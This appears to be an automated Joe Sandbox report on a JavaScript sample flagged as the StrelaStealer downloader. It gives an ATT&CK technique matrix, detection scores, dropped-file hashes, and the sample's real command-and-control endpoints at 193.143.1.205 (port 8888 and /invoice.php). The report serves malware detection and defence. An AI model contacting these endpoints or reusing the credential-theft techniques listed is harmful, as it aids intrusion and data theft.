Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
28236151432955330765.js	23%	Virustotal		Browse
28236151432955330765.js	21%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/mQ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3311739469.000001A7A1E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2082179414.000001A7A1CD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2085661356.0000025159278000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085886484.00000251592D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2083036858.00000251592A5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2081906807.00000251592CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085759854.00000251592A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2085661356.0000025159278000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/mQ	net.exe, 00000007.00000003.2083036858.00000251592A5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085759854.00000251592A5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590607
Start date and time:	2025-01-14 10:54:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	28236151432955330765.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/61@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.6.155.20, 3.233.129.217, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 23.219.161.132, 4.245.163.56, 104.77.220.172, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:54:58	API Interceptor	22x Sleep call for process: powershell.exe modified
04:55:02	API Interceptor	1x Sleep call for process: net.exe modified
04:55:02	API Interceptor	2x Sleep call for process: svchost.exe modified
04:55:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	ProductBOMpq_v4.xlsm	Get hash	malicious	Unknown	Browse	199.232.214.172
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Scanned-IMGS_from NomanGroup IDT.scr.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	12.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.210.172
	PRODUKTY.EXE.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	009.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307197356735545
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugM:gJjJGtpTq2yv1AuNZRY3diu8iBVqFW
MD5:	00F34A32E9F674F3B80240F64FCD822E
SHA1:	09CB40F32C8AF8F8BD9581B155011F3EA1741A8F
SHA-256:	648BBCAD28D8BFD4A17CA4FE01112E06C4018BA70E1870487EEB9E88D93D0DDE
SHA-512:	84FFACD42A16030D881534F330BCB7873A8929648466E47BF5EA0191AD2480CF8C9C1B7D8D68EC95E7F2C578A2CD43BB849EB3DE96B111DAA05BD8A640BFAFED
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x46e629d5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585611762732619
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0990D52225FDB42FE6B3FA77E57C8517
SHA1:	CB9CD6BAFB0EDFA4E103A9959C717687E3E5F8BD
SHA-256:	E1BE81A156CD6A6426C5906A646EE82664D0E63E2E7CBADFB5E6D0879DCEF932
SHA-512:	3CCBCFCAC0075E7E6732232B6297879CE8FE43AE68E4C39D4EB4739E864A01E8C4EB41CDDB7105C59404B819D2BBEDF885E317AA107AAA644538F4CC43DADFC8
Malicious:	false
Preview:	F.).... ...............X\...;...{......................0.z..........{...7...}3.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................\|..7...}S................. ....7...}3..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08070408162191503
Encrypted:	false
SSDEEP:	3:7TltKYeQDwTGkGuAJkhvekl1ak+llrekGltll/SPj:7DKzj5rxlYkaJe3l
MD5:	45CA113F7650866763AD9BCEFD8D10F1
SHA1:	5C4F6DF7DBE55DEB7BBAC50A05A9B0C5F7E8CDEE
SHA-256:	21E81A0ECD2F89B6279E0CF172AE349EA777C648AAAF88453FB1E543BD22DDDB
SHA-512:	659FA734EDE501813C9D195B4A3DB06FDC8BCE1E1EB67461CADD3D421DF9B7EC473594A75D6FE808309B3168AC1BCA8113A12D3F89B6DECCB3DD86E82E8AE850
Malicious:	false
Preview:	.........................................;...{...7...}3......{...............{.......{...XL......{.................. ....7...}3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.187694196243135
Encrypted:	false
SSDEEP:	6:iO8PQ9XUQ9+q2P92nKuAl9OmbnIFUtWPQ9X6UBJZmwoPQ9XG9VkwO92nKuAl9Omt:7Lyfv4HAahFUtxVr/HW5LHAaSJ
MD5:	B5B68497335BF285890404356F12CD2D
SHA1:	04843DFEA10EA347CB2914DF5EBD738A4A8336C8
SHA-256:	62FF6850D4FFA75795BD73C6D4EB51F7F4F9DE7EF03375947252AE0E17653507
SHA-512:	9A906AF0713B32F475FDF9AD7823CF9F862EB2D80249C6701BC08BA7AB1D7E6ADB717A7DD87873BC3ADAFCC4BC7FCE20BEF93E6F22DC6CB362C2F68506C9C74D
Malicious:	false
Preview:	2025/01/14-04:55:02.544 12d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:55:02.546 12d8 Recovering log #3.2025/01/14-04:55:02.547 12d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.187694196243135
Encrypted:	false
SSDEEP:	6:iO8PQ9XUQ9+q2P92nKuAl9OmbnIFUtWPQ9X6UBJZmwoPQ9XG9VkwO92nKuAl9Omt:7Lyfv4HAahFUtxVr/HW5LHAaSJ
MD5:	B5B68497335BF285890404356F12CD2D
SHA1:	04843DFEA10EA347CB2914DF5EBD738A4A8336C8
SHA-256:	62FF6850D4FFA75795BD73C6D4EB51F7F4F9DE7EF03375947252AE0E17653507
SHA-512:	9A906AF0713B32F475FDF9AD7823CF9F862EB2D80249C6701BC08BA7AB1D7E6ADB717A7DD87873BC3ADAFCC4BC7FCE20BEF93E6F22DC6CB362C2F68506C9C74D
Malicious:	false
Preview:	2025/01/14-04:55:02.544 12d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:55:02.546 12d8 Recovering log #3.2025/01/14-04:55:02.547 12d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.147586971025544
Encrypted:	false
SSDEEP:	6:iO8PQ9XcVq2P92nKuAl9Ombzo2jMGIFUtWPQ9XAYgZmwoPQ9XS8VSIkwO92nKuAv:7LKv4HAa8uFUtxih/HjVF5LHAa8RJ
MD5:	B7C332C12BD136FDC5CAF9A15A64E111
SHA1:	6BEDCE3FEB0F1CC2C84CAC93E22B617FCD68C8C5
SHA-256:	7DA4771FE8C821B49963873DD854EB6C13AFBA45611D2A55C578C7B8C44C8B5B
SHA-512:	7E5D1BC67C4CB287CDA947BCB87B9B9C19BC999B5291E9AB7951FFFF72C3CAE62B7B411EC438267C48FBC658BE0853A732FB4EFFADC54B34A40200A6A4ECD853
Malicious:	false
Preview:	2025/01/14-04:55:02.585 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:55:02.586 1030 Recovering log #3.2025/01/14-04:55:02.587 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.147586971025544
Encrypted:	false
SSDEEP:	6:iO8PQ9XcVq2P92nKuAl9Ombzo2jMGIFUtWPQ9XAYgZmwoPQ9XS8VSIkwO92nKuAv:7LKv4HAa8uFUtxih/HjVF5LHAa8RJ
MD5:	B7C332C12BD136FDC5CAF9A15A64E111
SHA1:	6BEDCE3FEB0F1CC2C84CAC93E22B617FCD68C8C5
SHA-256:	7DA4771FE8C821B49963873DD854EB6C13AFBA45611D2A55C578C7B8C44C8B5B
SHA-512:	7E5D1BC67C4CB287CDA947BCB87B9B9C19BC999B5291E9AB7951FFFF72C3CAE62B7B411EC438267C48FBC658BE0853A732FB4EFFADC54B34A40200A6A4ECD853
Malicious:	false
Preview:	2025/01/14-04:55:02.585 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:55:02.586 1030 Recovering log #3.2025/01/14-04:55:02.587 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\222a7cb9-d527-4710-b6d4-c450182e2d26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.049791835694367
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlDhsBdOg2H6fcaq3QYiubxnP7E4T3OF+:Y2sRdsY2dMHF3QYhbxP7nbI+
MD5:	13805CEBE3B3663DAF053EAFADC2E8CF
SHA1:	8A5EE9FE2FE8B1B6A3B98C2A5005317B237409DE
SHA-256:	D8BFB48ABC406019804B8321A892B1A1B353BF279667C5CDB96969E024D681A4
SHA-512:	88A54E59555D1BA5C930AB2F2E6AD7428CB1EF57969BD320CC94F2DC164FE6A4E937F029486999A72271A77570E478026FD8D6CF98F6C797ABB9551A62772E1F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381408515209324","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146340},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.049791835694367
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlDhsBdOg2H6fcaq3QYiubxnP7E4T3OF+:Y2sRdsY2dMHF3QYhbxP7nbI+
MD5:	13805CEBE3B3663DAF053EAFADC2E8CF
SHA1:	8A5EE9FE2FE8B1B6A3B98C2A5005317B237409DE
SHA-256:	D8BFB48ABC406019804B8321A892B1A1B353BF279667C5CDB96969E024D681A4
SHA-512:	88A54E59555D1BA5C930AB2F2E6AD7428CB1EF57969BD320CC94F2DC164FE6A4E937F029486999A72271A77570E478026FD8D6CF98F6C797ABB9551A62772E1F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381408515209324","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146340},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234337103769034
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUG3QOuj:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL8
MD5:	E6764A6E8B6C2090F4BEF072C05B654C
SHA1:	3571C1A1BA3A3086174373FE4D0D7FADFBEEF9E1
SHA-256:	9FCA9A9119161980EE33CE913C1B642D5AE8A50A7B91015491EC79D487D752F7
SHA-512:	22F8EEE8A7B61C108FF2F7AE0643D053B990A1148D017D868C4A24EE84770D2568F21B64EA2E132BF155342A187BBDE25CB00D1BE0C927471C4ACCC0C3894582
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.183004134832882
Encrypted:	false
SSDEEP:	6:iO8PQ9XnuHVq2P92nKuAl9OmbzNMxIFUtWPQ9XfSSgZmwoPQ9XiIkwO92nKuAl9c:7LIv4HAa8jFUtxAX/Hn5LHAa84J
MD5:	53EBE007BA8106CA064AC094FF53933D
SHA1:	64849C7117CFD59CE2A088EB7F40BCBD9499F9A4
SHA-256:	A539B69545671755D43BAADD9A0AD54B7E019CE6EDBA3D8ABBC6115F8A276D66
SHA-512:	0761177FA4ED7C9C7BE9EC912CA23047647D9AC5FF09793468DD12057319D425580BD5EE25A7642DD133621E1C3A9597D2E743561ECE280DA690ED2BBA0E955A
Malicious:	false
Preview:	2025/01/14-04:55:02.789 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:55:02.795 1030 Recovering log #3.2025/01/14-04:55:02.796 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.183004134832882
Encrypted:	false
SSDEEP:	6:iO8PQ9XnuHVq2P92nKuAl9OmbzNMxIFUtWPQ9XfSSgZmwoPQ9XiIkwO92nKuAl9c:7LIv4HAa8jFUtxAX/Hn5LHAa84J
MD5:	53EBE007BA8106CA064AC094FF53933D
SHA1:	64849C7117CFD59CE2A088EB7F40BCBD9499F9A4
SHA-256:	A539B69545671755D43BAADD9A0AD54B7E019CE6EDBA3D8ABBC6115F8A276D66
SHA-512:	0761177FA4ED7C9C7BE9EC912CA23047647D9AC5FF09793468DD12057319D425580BD5EE25A7642DD133621E1C3A9597D2E743561ECE280DA690ED2BBA0E955A
Malicious:	false
Preview:	2025/01/14-04:55:02.789 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:55:02.795 1030 Recovering log #3.2025/01/14-04:55:02.796 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.293668586543233
Encrypted:	false
SSDEEP:	192:/edRBieVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/eBci5H5FY+EUUUTTcHqFzqFP
MD5:	92FB40A94A9CD71B855A072E9826D60A
SHA1:	997C086872C61225E1DEA83BD12F06A0032D478C
SHA-256:	26458C0F0E8D0ADAE8759DEF849EE472E7B14A70BF914C558F2751776C259CA4
SHA-512:	454A86F425B225E5B838D7010C955CE642B83B8C3BE6C7401B8B5F2A3DAE009763207D5D90AE1628A5603FFC4689C2C0F2D23F8A6D01169BEAFA21299118BAA8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.202728591820695
Encrypted:	false
SSDEEP:	24:7+t5KMEWewKQqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfP:7MxUQqemFTIF3XmHjBoGGR+jMz+LhX
MD5:	60991A96AF4AEE94EFDAF1044ED4B39D
SHA1:	9E786F0AFFB3078385E9771424D5B500F004302A
SHA-256:	8D69E69109738234CE21D350BC6D1E6B4222416B12E576D498C7EC9112407F7D
SHA-512:	638BD37D87A8D09D0FEDE363084B5874A12E7EC9DE44C54DCAA4108F0FF66FFF5FE763F06B06F144D0AD255A1B7F0A7A5E09A415F3FF5F244FFFCEE233E926D0
Malicious:	false
Preview:	.... .c......B.3........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
